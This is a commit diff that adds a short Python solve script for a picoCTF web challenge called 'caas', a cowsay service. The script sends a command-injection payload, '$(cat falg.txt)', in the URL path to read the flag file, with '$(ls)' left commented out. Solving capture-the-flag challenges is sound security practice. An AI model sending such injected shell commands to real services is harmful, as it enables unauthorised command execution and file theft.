web: add already solved challenges

web/caas/solve.py

@@ -0,0 +1,20 @@
+#!/usr/bin/env nix-shell
+#!nix-shell -i python3 -p python3Packages.requests
+# coding: utf-8
+
+import json
+
+import requests
+
+BASE_URL = "https://caas.mars.picoctf.net/cowsay"
+
+def main():
+    # payload = "$(ls)"
+    payload = "$(cat falg.txt)"
+    r = requests.get(BASE_URL + f"/{payload}")
+    print(r)
+    print(r.text)
+
+if __name__ == '__main__':
+    main()
+